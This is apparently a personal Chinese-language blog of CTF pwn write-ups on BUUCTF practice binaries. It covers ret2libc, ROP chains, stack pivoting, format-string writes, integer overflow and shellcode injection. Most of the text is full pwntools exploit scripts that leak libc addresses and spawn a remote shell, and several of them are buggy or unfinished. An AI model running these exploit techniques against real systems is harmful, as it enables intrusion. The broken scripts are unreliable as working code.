1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,29414 ) elf = ELF('./1111' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400713 ret_addr=0x00000000004004c9 p.recvuntil('tell me your name\n' ) p.sendline("hhhh" ) p.recvuntil('What do you want to say to me?\n' ) payload = b'a' *(0x20 +8 )+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendline(payload) gets_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (gets_addr))puts_addr=0x809c0 str_bin_sh=0x1b3e9a system_addr=0x4f440 libcbase = gets_addr - puts_addr system_addr = libcbase + system_addr bin_sh = libcbase + str_bin_sh payload = flat([b'a' *(0x20 +8 ),ret_addr,pop_rdi,bin_sh,system_addr]) p.sendline(payload) p.interactive()
然后成功
flag{6b306e8d-be23-44ad-8490-7755da282bf2}
not_the_same_3dsctf_2016 2024.6.25
日常检查
NX保护,32位架构
打开之后发现,很明显的gets函数,
看一眼字符串,看见了flag.txt
看起来像一个后门函数,看一下这个函数的地址
感觉这样就行了,不知道要不要加其他的返回值什么的,先试一试
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 27113 ) payload='a' *0x48 +p32(0x80489A0 ) p.sendline(payload) p.interactive()
发现不行,其实看一下就知道
传参从汇编代码看也不是直接压栈的,而是间接通过esp加减的方式。
所以只能通rop来执行命令了
看了一下
看一下它的地址,发现他在bss段上,问题就简单多了。0x80ECA2D
我们还需要一个输出函数和一个exit函数
printf函数如下:0x804F0A0
exit()函数如下:0x804E660
所以exp如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *r=remote('node5.buuoj.cn' ,27113 ) fl4g=0x80ECA2D printf=0x804F0A0 eixt=0x804E660 get_secret=0x80489A0 payload=b'a' *0x2d +p32(get_secret)+p32(printf)+p32(eixt)+p32(fl4g) r.sendline(payload) r.interactive()
flag{4d6ba807-3dde-431d-9525-600906bcb1f5}
ciscn_2019_en_2 2024.6.26
日常检查
NX保护,64架构,ida静态分析。
嗯~看着挺复杂的,但是一点也不简单
上来大概看一看,然后找找溢出点,很快就找到了gets函数
其实仔细在找找,就知道没有我们想要的system函数和bin/sh,所以这里应该就是要libc泄露了,啊啊啊啊啊!
直接看一下他们的wp
题目思路
gets(s);存在栈溢出。
用\x00绕过strlen(s),形成栈溢出。因为strlen()
函数在遇到字符 ‘\0’(也就是空字符,字符值为0)时会立即退出。
泄露puts()地址,打常规ret2libc。
栈泄露还是能看的。确定一下溢出长度加上rbp的为0x58
泄露puts函数 然后呢,泄露puts的地址的话,就要找一下puts函数的地址,这里就是常规做法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *r= remote("node5.buuoj.cn" ,29640 ) lib = ELF("./ubuntu18(64).so" ) elf = ELF("./1111" ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] main_addr = elf.symbols['main' ] rdi_addr = 0x400c83 ret=0x4006b9
1 2 3 4 5 payload = b'\x00' +b'a' *(0x50 +8 -1 )+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) r.recv() r.sendline(b"1" )
1 2 3 4 5 r.recv()#接上 r.sendline(payload) r.recvline() r.recvline() puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
完整的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *r = remote("node5.buuoj.cn" ,29640 ) lib = ELF("./ubuntu18(64).so" ) elf = ELF("./1111" ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] rdi_addr = 0x400c83 main_addr = elf.symbols['main' ] ret=0x4006b9 payload = b'\x00' + b'M' *(0x50 +8 -1 ) +p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) r.recv() r.sendline(b"1" ) r.recv() r.sendline(payload) r.recvline() r.recvline() puts_addr = u64(r.recv(6 ).ljust(8 ,b'\x00' )) base_addr = puts_addr - lib.symbols['puts' ] system_addr = base_addr + lib.symbols['system' ] bin_sh_addr = base_addr + next (lib.search(b'/bin/sh' )) payload2 = b'\x00' + b'M' *(0x50 +8 -1 ) + p64(ret) +p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) r.recv() r.sendline('1' ) r.recv() r.sendline(payload2) r.interactive()
换一种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *p=remote('node5.buuoj.cn' ,25784 ) elf=ELF('./1111' ) pop_rdi=0x400c83 ret=0x4006b9 code=0x4009a0 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] p.recvuntil('choice!\n' ) p.sendline(str (1 )) p.recvuntil('encrypted\n' ) payload=b'\x00' +b'a' *0x57 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(code) p.sendline(payload) p.recvuntil('Ciphertext\n\n' ) puts_add=u64(p.recv(6 ).ljust(8 ,b'\x00' )) system=puts_add-0x31580 binsh=puts_add+0x1334da p.recvuntil('encrypted\n' ) payload=b'\x00' +b'a' *0x57 +p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system) p.sendline(payload) p.interactive()
抱着学习的态度看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context.os='linux' context.arch='amd64' context.log_level='debug' r = remote('node5.buuoj.cn' ,25784 ) elf = ELF('./ciscn_2019_en_2' ) rdi_ret = 0x400c83 ret = 0x400c84 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.sym['main' ] r.sendlineafter('choice!\n' ,'1' ) payload = '\x00' +'a' *(0x50 +0x7 )+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) r.sendlineafter('encrypted\n' ,payload) r.recvline() r.recvline() puts_addr = u64(r.recv(6 ).ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libcbase = puts_addr - libc.dump('puts' ) system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) r.sendlineafter('choice!\n' ,'1' ) payload = '\x00' +'a' *0x57 +p64(ret)+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr) r.sendlineafter('encrypted\n' ,payload) r.interactive()
ciscn_2019_ne_5 2024.6.27
日常检查
32位,NX保护,
先运行一下看看,看样子是一个要知道管理员密码
ida静态分析一下,main函数,可以发现管理员密码为:administrator
main函数分析的话,找一下有没有漏洞,
这里也很明显,输入的字符的最大长度为100,但是要比较多字符却只有 administrator。这里就是很明显的溢出了。
在看看这个Getflag函数。
点进去看一下就知道,这个输入的src为我们所要的flag
大体思路如下:
首先先选1添加一个日志,然后再把我们的密文输进去,最后在选输出所有的日志
这里我们看见了system函数,在找找看有没有/bin/sh/函数,这里应用ROPgadget工具查找
最后构建payload,用rop来进行解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *r=remote('node5.buuoj.cn' ,25511 ) elf = ELF('./1111' ) bin_addr=0x080482ea system_addr=elf.sym['system' ] r.recvuntil("Please input admin password:" ) r.sendline('administrator' ) r.recvuntil('0.Exit\n:' ) r.sendline('1' ) payload=b'a' *(0x48 +4 )+p32(system_addr)+b'1234' +p32(bin_addr) r.recvuntil("Please input new log info:" ) r.sendline(payload) r.recvuntil('0.Exit\n:' ) r.sendline('4' ) r.interactive()
铁人三项(第五赛区)_2018_rop 2024.6.29
日常检查
、
看一下为32位架构和NX保护
运行一下这个文件看看
ida静态分析一下,猜测是这个read函数发生溢出,buf只有136位,并且函数只读取了0x100(256)位,可能发生溢出。
read(0,buf,100)的意思是从文件描述符为0的输入流(通常是标准输入)中读取最多100个字节的数据,并将其存储在名为buf的缓冲区中。如果输入流中的可用字节数少于100个字节,那么read()函数将阻塞,直到有足够的数据可用为止。函数的返回值是实际读取的字节数,如果出现错误则返回-1。
这里也能看见距离栈底的距离为0x88h,再看一下eip的长度,32位一般为4位
这里再找一下溢出的地方,好像找不太到,其实看题目就知道,应该是一个rop
这里先简单写一下exp:
1 2 3 4 5 6 from pwn import *r=remote('node5.buuoj.cn' ,26021 ) elf = ELF('./1111' ) r.interactive()
在看看rdi或者bin/sh的地址。
发现好像找不到,所以说这个rop怎么构建的呢?
这里是泄露write函数来泄露libc版本
之前遇到过puts函数,可以回头复习一下
write函数来泄露程序的libc版本
这里了解一下write函数,ssize_t write(int fd,const void*buf,size_t count);
fd:是文件描述符(write所对应的是写,即就是1) buf:通常是一个字符串,需要写入的字符串 count:是每次写入的字节数
所以就可以直接构造payload了
payload=’a’*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
这里p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位
1 2 3 4 payload='a' *(0x88 +4 )+p32(write_plt)+p32(main)+p32(0 )+p32(write_got)+p32(4 ) r.sendline(payload) write_addr=u32(r.recv(4 )) libc=LibcSearcher('write' ,write_addr)
2.知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
1 2 3 offset=write_addr-libc.dump('write' ) system_addr=offset+libc.dump('system' ) bin_addr=offset+libc.dump('str_bin_sh' )
3.覆盖返回地址为system(‘/bin/sh’),获取shell
1 payload='a' *(0x88 +4 )+p32(system_addr)+p32(0 )+p32(bin_addr)
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,26402 ) elf = ELF('./1111' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] payload=bs'a' *(0x88 +4 )+p32(write_plt)+p32(main)+p32(0 )+p32(write_got)+p32(4 ) r.sendline(payload) write_addr=u32(r.recv(4 )) libc=LibcSearcher('write' ,write_addr) offset=write_addr-libc.dump('write' ) system_addr=offset+libc.dump('system' ) bin_addr=offset+libc.dump('str_bin_sh' ) payload=b'a' *(0x88 +4 )+p32(system_addr)+p32(0 )+p32(bin_addr) r.sendline(payload) r.interactive()
也是得到了flag
flag{6635cb79-c64d-4f23-aa1a-9f166ab7e05b}
bjdctf_2020_babystack2 2024.7.1
日常检查。NX保护和64位架构
随便运行一下看看,扔进ida里面看看
其实看一眼函数栏就看见了后门函数,挺明显的哈,连system(/bin/sh)都直接给了,看一下函数的地址
返回地址为0x400726
找一下溢出点
我觉得就是这个read函数
首先了解一下read函数,这里的read函数意思是将字符’0’读取nbytes个数,到buf缓冲区。
解题思路:nbytes参数的类型 是 size_t,它是一个无符号整型。但是第7行又将它转换成了有符号的整型,存在整数溢出漏洞(即无符号的数转换成有符号的整型后超过了有符号的整型能表示的范围,从而造成溢出,常用-1来造成溢出)
整数溢出漏洞 先老规矩backdoor溢出一下看看
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *p=remote('node5.buuoj.cn' ,29090 ) backdoor=0x400726 p.recv() p.sendline('-1' ) p.recv() payload=b'A' *(0x10 +8 )+p64(backdoor) p.sendline(payload) p.interactive()
得到flag为
flag{9289bced-6154-45af-aecf-33cc19f7bf1b}
这里跟我平常遇见的简单的后门函数还不太一样,这里是利用read函数来进行溢出的,利用读取错误。返回-1来造成溢出。
bjdctf_2020_babyrop 2024.7.3
日常检查,NX保护,64位架构
运行一下看看
看样子应该是泄露libc版本,ida静态分析一下
这个read函数存在漏洞,并且read的最大长度为100,但是buf只有32。存在溢出,长度为(0x20+8)
ok,这里利用puts函数进行泄露libc版本,简单写一下wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,26127 ) elf =ELF('./1111' ) context.os='linux' context.arch='amd64' context.log_level='debug' puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.sym['main' ] rdi_ret = 0x400733 ret = 0x4004c9 r.recvuntil('Pull up your sword and tell me u story!' ) payload =b'a' *(0x20 +8 )+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) r.sendline(payload) r.recv() puts_addr = u64(r.recv(6 ).ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libcbase = puts_addr - libc.dump('puts' ) system_addr = libcbase + libc.dump('system' ) binsh_addr = libcbase + libc.dump('str_bin_sh' ) r.recvuntil('Pull up your sword and tell me u story!' ) payload = b'a' *(0x20 +8 )+p64(ret)+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr) r.sendline(payload) r.interactive()
最后得到flag
flag{97e4a79a-ec1b-4dfb-bd0a-481099264157}
jarvisoj_fm 2024.7.3
日常检查
简单说一下,32位,NX保护,和stack保护
简单运行一下,扔进ida进去看看
奥!一下就看见了system(/bin/sh)函数,看一下地址
0x80485D
找一下溢出点,这个printf函数的格式化字符串漏洞,看一下偏移量
格式化字符串
偏移量为11
然后看一下条件,这里的if(x==4),看一下x的地址0x804A02C
所以exp如下:
1 2 3 4 5 from pwn import *p=remote('node5.buuoj.cn' , 29553 ) payload=p32(0x804A02C )+"%11$n" p.sendline(payload) p.interactive()
flag{dd8a37aa-23f4-418e-a471-65a1d52f5db4}
还是很简单的
jarvisoj_tell_me_something 2024.7.3
日常检查,64位架构,NX保护
运行一下看看,没什么用
ida里面看一眼
感觉是我们要找的,看一下函数的地址
找一下溢出点,应该就是这个read函数
v4是136,而最大长度是256,存在溢出
感觉就是简单的后门
编写一下exp:
1 2 3 4 5 from pwn import *p = remote('node5.buuoj.cn' ,26798 ) payload=b'a' *(0x88 +8 )+p64(0x400620 ) p.sendline(payload) p.interactive()
但是注意的是要看一下汇编代码
这里直接进行rsp-88h,并没有进行push rbp,所以不用带着后面的8
正常情况
然后就可以进行正常的解题了
flag{8140653e-8223-41a2-8383-e4ccc40cda23}
ciscn_2019_es_2 2024.7.4
日常检查,32位,NX保护,随便运行一下看看
扔进ida里面,
一眼就看见了hack,很简单的感觉就是一个简单的后门,看一下地址
看看找找溢出点,很明显的read函数存在溢出
就是简单的后门函数
简单编写一下exp:
1 2 3 4 5 6 from pwn import * r=remote('node5.buuoj.cn' ,29448 ) payload = b'a' *(0x28 +4 )+p32(0x804854B ) r.sendline(payload) r.interactive
果然是个钩子,其实我们只能看见flag这四个字节,但是后面缺少,这里搜索一下就知道是因为溢出长度不够了,s的ebp+ret正好是44,而我们的最大长度为48,只剩下4个字节,溢出为flag。
SO,这里就用到了
栈迁移 工具看一下有没有/bin/sh的地址
我们可以看见system函数的地址
利用过程:
一、泄露ebp
二、找到参数s在栈上的位置
三、布置s栈上的值
四、栈劫持、获取shell
一、printf函数在输出的时候遇到’\0‘会停止,如果我们将参数s全部填满,这样就没法在末尾补上’\0‘,那样就会将ebp连带着输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *p = remote("node5.buuoj.cn" ,28155 ) sys_addr = 0x8048400 leave_ret = 0x080484b8 payload = 'a' * 0x27 + 'p' p.send(payload) p.recvuntil('p' ) ebp = u32(p.recv(4 )) print (hex (ebp))payload = ('this' +p32(sys_addr)+'aaaa' +p32(ebp-0x28 )+'/bin/sh\x00' ).ljust(0x28 ,'p' )+p32(ebp-0x38 ) + p32(leave_ret) p.send(payload) p.interactive()
[HarekazeCTF2019]baby_rop 2 2024.7.5
日常检查
NX保护,64位,ida进去看一眼
read函数的溢出,(0x20+8)但是感觉找不到溢出点,这里肯定就是泄露libc版本了。
这里利用printf泄露read函数进行泄露地址计算libc的基址,ROP链构造system(’/bin/sh‘)
这里的需要的params是rdi和rsi
工具查看一下:ROPgadget
1 2 rdi_addr=0x400733 rsi_addr=0x400731
但是这里要注意的是:
他这里跟了一个pop r15,这里说是无所谓。不管他,不过这里的got表的地址为read函数的。
还有就是要设置第一个参数。0x400770
简单写一下payload
payload= b’a’*(0x20+8)+p64(rdi_addr)+p64(foramt_str)+p64(rsi_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(mian_addr)
最后接收一下输出的read函数地址
1 read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
完整的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *r=remote('node5.buuoj.cn' ,27046 ) printf_plt = elf.plt['printf' ] read_got = elf.got['read' ] main_addr = elf.symbols['main' ] rdi_addr=0x400733 rsi_addr=0x400731 foramt_str=0x400770 recvuntil("What's your name?" ) payload= b'a' *(0x20 +8 )+p64(rdi_addr)+p64(foramt_str)+p64(rsi_addr)+p64(read_got)+p64(0 )+p64(printf_plt)+p64(mian_addr) r.sendline(payload) read_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) libc=LibcSearcher('write' ,read_addr) base_addr = puts_addr - lib.symbols['read' ] system_addr = base_addr + lib.symbols['system' ] bin_sh_addr = base_addr + next (lib.search(b'/bin/sh' )) payload= b'a' *(0x20 +8 )+p64(rdi_addr)+p64(foramt_str)+p64(rsi_addr)+p64(read_got)+p64(0 )+p64(printf_plt)+p64(mian_addr) r.sendline(payload) r.interactive()
放着先!
okok,2024.7.12回头看一手这道题
利用read函数泄露libc基址 看了一下是利用read函数泄露libc基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' p = remote('node5.buuoj.cn' ,25489 ) elf = ELF('./1111' ) printf_plt = elf.plt['printf' ] read_got = elf.got['read' ] main = elf.symbols['main' ] pop_rdi =0x0000000000400733 pop_rsi_r15=0x0000000000400731 format_str= 0x400770 ret_addr=0x00000000004004d1 payload = b'a' *(0x20 +8 )+ p64(pop_rdi) + p64(format_str)+p64(pop_rsi_r15)+p64(read_got) + p64(0 )+p64(printf_plt) + p64(main) p.recvuntil('name?' ) p.sendline(payload) read_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) print (hex (read_addr))libc = LibcSearcher("read" ,read_addr) libc_base = read_addr - libc.dump("read" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) payload = flat([b'a' *(0x20 +8 ),ret_addr,pop_rdi,bin_sh,system_addr]) p.sendline(payload) p.interactive()
解决
flag{7e2a13b8-02d1-4c2f-b9d1-e14ff995354c}
pwn2_sctf_2016 2024.7.6
日常检查,32位,NX保护,运行一下,没啥用
ida打开看看,感觉就是栈溢出的问题。
整数溢出+printf函数libc版本泄露 printf函数泄露libc版本
一开始输入负数,绕过长度限制,造成溢出
利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
溢出覆盖返回地址去执行system(‘/bin/sh’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' elf = ELF('./1111' ) p=remote('node5.buuoj.cn' ,27143 ) printf_plt = elf.plt['printf' ] printf_got = elf.got['printf' ] main_addr = elf.symbols['main' ] p.recvuntil('How many bytes do you want me to read? ' ) p.sendline('-1' ) p.recvuntil('\n' ) payload = b"A" *(0x2c +4 )+ p32(printf_plt) + p32(main_addr) + p32(printf_got) p.sendline(payload) printf_addr = u32(p.recv(4 )) print (hex (printf_addr))libc = LibcSearcher("printf" ,printf_addr) libc_base = printf_addr - libc.dump("printf" ) system_addr = libc_base+libc.dump("system" ) bin_sh = libc_base+libc.dump("str_bin_sh" ) payload = flat([b'A' *(0x2c +4 ),system_addr,mian_addr,bin_sh]) p.sendline(payload) p.interactive()
picoctf_2018_rop chain 2024.7.6
日常检查
32位,NX保护,简单运行一下
ida打开,
看见了gets函数漏洞,栈溢出,看一下(0x18+4)
找一下溢出点,找到了flag.txt,先试试是不是简单后门函数。
满足这个应该就是可以输出flag
这里就是要满足这三个条件就可以了。
首先找找这两个win1和win2
覆盖一下这两个函数,函数1:0x80485CB和函数2:0x80485D8
1 2 3 4 5 6 7 8 9 10 from pwn import *r=remote('node5.buuoj.cn' ,28834 ) win_function1=0x80485CB win_function2=0x80485D8 flag_addr=0x804862B payload= b'a' *(0x18 +4 )+p32(win_function1)+p32(win_function2)+p32(flag_addr)+p32(0xBAAAAAAD )+p32(0xDEADBAAD ) r.sendlineafter('Enter your input> ' ,payload) r.interactive()
jarvisoj_level3 2024.7.15
日常检查
简单运行一下
ida打开看看,有个read函数的溢出漏洞
看一眼字符串
嘶!感觉就是最基本的libc版本泄露,自己先整整看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from LibcSearcher import *r=remote('node5.buuoj.cn' ,28036 ) elf = ELF('./1111' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main=elf.sym['main' ] payload=b'a' *(0x88 +4 )+p32(write_plt)+p32(main)+p32(0 )+p32(write_got)+p32(4 ) r.sendline(payload) write_addr=u32(r.recv(4 )) libc=LibcSearcher('write' ,write_addr) offset=write_addr-libc.dump('write' ) system_addr=offset+libc.dump('system' ) bin_addr=offset+libc.dump('str_bin_sh' ) payload=b'a' *(0x88 +4 )+p32(system_addr)+p32(0 )+p32(bin_addr) r.sendline(payload) r.interactive()
ez_pz_hackover_2016 2024.7.6
日常检查,只开了一个relro,32位
看了一眼,找一下漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 char s[1024 ]; ........ if ( !result ) return vuln (s, 0x400u ); return result; ........ void *__cdecl vuln (int src, size_t n) { char dest[50 ]; return memcpy (dest, &src, n); }
解题思路:写入shellcode到s,s中的内容复制到vuln函数中的dest然后溢出,控制程序指向shelldode执行。
1 2 3 4 5 6 7 8 if ( !result ) return vuln (s, 0x400u ); printf ("\nWelcome %s!\n" , s); result = strcmp (s, "crashme" );
这里科普一下strcmp函数遇到’’/x00’空字符时会停止
负值 :如果 str1
小于 str2
。
零 :如果 str1
等于 str2
。
正值 :如果 str1
大于 str2
。
所以我们的第一步就是传一下这个字符串‘’crashme\x00‘’
在看一下栈的情况,这里不看ida,自己调试一下(我的理解是因为esp指针的问题所以反编译的时候不对),调一下!!
这里脚本跑一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p=process('./1111' ) context.log_level='debug' gdb.attach(p,'b *0x8048600' ) p.recvuntil('crash: ' ) stack=int (p.recv(10 ),16 ) print (hex (stack))payload='crashme\x00' +'aaaaaa' p.sendline(payload) pause()
得到
你会看到我们输入的crashme ,但是下面只显示了ashme,少了cr,仔细看一下就应该知道他在上面,因为是小段存储,所以是从右开始数40(95),41(ff),42(63),43(72)。
欧克,这样的话就能计算偏移了
0xffafce58 -0xffafce42
得到偏移为0x16
一开始栈的位置为0xffafce7c
输入点距离我们的返回地址为(0x3c-0x20)0x1c,所以我们用0xffafce7c-0x1c来表示返回地址。
1 payload=b'crashme\x00' + b'a' *(0x16 -8 +4 ) +p32(stack)+shellcode
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote('node5.buuoj.cn' ,27686 ) r.recvuntil('crash: ' ) stack=int (r.recv(10 ),16 ) shellcode = asm(shellcraft.sh()) stack=0xffafce7c -0x1c payload=b'crashme\x00' + b'a' *(0x16 -8 +4 ) +p32(stack)+shellcode r.sendline(payload) r.interactive()
ciscn_2019_s_3 2024.7.6
日常检查,64位,NX保护,运行一下,扔进ida
read函数存在溢出
了解一下**_asm关键字**调用内联汇编程序,并且可在C或C++语句合法时出现。
简单了解一下下面:
32位与64位系统调用的区别
传参不同
系统调用不同
调用方式不同
传参方式:首先系统将系统调用号传入eax,然后将参数从左到右依次存入ebx,ecx,edx寄存器,返回值值存在eax寄存器
调用号:sys_read的调用号为3,sys_write的调用号为4
调用方式:使用int 80h中断进行系统调用
传参方式:首先将系统调用号传入rax,然后将参数从左到右依次存入rdi,rsi,rdx,rcx,r8,r9存器中,返回值值存在rax寄存器
调用号:sys_read的调用号为0,sys_write的调用号为1,stub_execve的调用号为59 stub_rt_sigreturn的调用号为15
调用方式:使用syscall进行系统调用
方法:csu和srop、sigret 简单看一下vuln函数:
最大长度为0x400,而buf只用0x10。看一下用什么溢出,应该用write函数溢出。
简单编写一下exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pop_rdi = 0x4005a3 syscall = 0x400501 vul_addr = 0x4004ed ret_addr = 0x4003a9 payload = p64(ret_addr) + b'/bin/sh\0' payload += p64(0x4004e2) # rax=0x3b payload += p64(0x40059a) # rdx = 0 payload += p64(0) + p64(1) # rbx = 0, rbp = 1 payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr payload += p64(0x400580) payload += p64(0) * 7 # 这里执行到0x400580后又会重新pop一遍, 7是调试出来的,没仔细看代码... payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0' payload += p64(syscall) payload += p64(vul_addr) p.send(payload) p.interactive()
放着
泄露栈基址
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r=remote('node5.buuoj.cn' ,28398 ) context.os='linux' context.arch='amd64' context.log_level='debug' vlu= 0x4004ED payload = b'/bin/sh\x00' +b'b' *8 +p64(vlu) r.sendline(payload) r.interactive()
okok.2024.7.16回头来看一手
需要用execve函数,
这里的漏洞还是很好找的
很明显的溢出!
看一眼gadgets函数,
上网查一下
SO,看一眼ida里面最后的寄存器的调用情况
解题思路: 利用execve(/bin/sh,0,0)获取shell,这里需要让rdi=/bin/sh ,rdx=0,rsi=0
通过打印出来的stack_addr得出的地址与buf的地址偏移为:0x148
gadgets函数里面。分别对rax赋予了0xf(sigret), 和0x3b(execve)
CSU解法:
执行execve有几个关键的寄存器的值需要设置
rax = 0x3b
rdi = &’/bin/sh\0’
rsi = 0
rdx = 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *p=remote('node5.buuoj.cn' ,29476 ) vul_addr = 0x4004ed payload = b'a' * 0x10 + p64(vul_addr) p.send(payload) p.recv(0x20 ) stack_addr = u64(p.recv(8 )) print (hex (stack_addr))pop_rdi = 0x4005a3 syscall = 0x400501 vul_addr = 0x4004ed ret_addr = 0x4003a9 payload = p64(ret_addr) + b'/bin/sh\0' payload += p64(0x4004e2 ) payload += p64(0x40059a ) payload += p64(0 ) + p64(1 ) payload += p64(buf_addr) + p64(0 ) * 3 payload += p64(0x400580 ) payload += p64(0 ) * 7 payload += p64(pop_rdi) + p64(buf_addr + 8 ) payload += p64(syscall) payload += p64(vul_addr) p.send(payload) p.interactive()
放着!!!一坨!!!
这题真的很长哈,因为看了很多的wp,但是都没有做出来,终于在这回打通了,这是第一次接触系统调用的题,其实之前也遇到过一些系统调用的题,知道什么int 0x80 什么的。我是fw
系统调用
系统调用:实际上是0x80号中断对应的中断处理程序的子程序。简单来说,在linux系统上,0x80中断是系统调用的统一入口(这里讲的是32位)。某个具体的系统调用是这个中断处理程序的子程序,进入具体某个系统调用是通过内核定义的系统调用号码来实现的。
系统调用号:每个系统调用在内核里面都对应一个号码,这个号码是在 /usr/include/i386-linux-gnu/asm/unistd_32.h 中定义的。
简单来说,系统调用是通过某个入口来执行的子程序,执行完之后,返回上层应用程序的过程。32位和64位的系统调用是不同的:
32位: 传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器,通过使用int 0x80中断进行系统调用
64位: 传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器,系统调用是通过syscall来调用的
这里看到上面也写了!!调用execve系统函数也说了
1 2 0x38 = 59 :sys_execve mov rax, 3Bh 0xf = 15 :sys_rt_sigreturn mov rax, 0Fh
而系统调用execve(“/bin/sh”,0,0),需要这样的布局 rax==59 #系统调用号 rdi==“/bin/sh” rsi==0 #控制r14来传值 rdx==0 #控制r13来传值
下面的看的应该也很清楚。
用 read 输入 /bin/sh,再填充溢出,write 是会打印出 0x30 大小的数据,这里在打印的 0x20 到 0x28 是一个地址,这个地址是栈上面的,所以只要算出这个地址和 binsh 地址的相对偏移即可,也可以直接调试出来。
找一下:syscall地址
还是很简单的,ROPgadget工具来
1 2 3 4 ROPgadget --binary ./1111 0x0000000000400501 : syscall
完整exp:
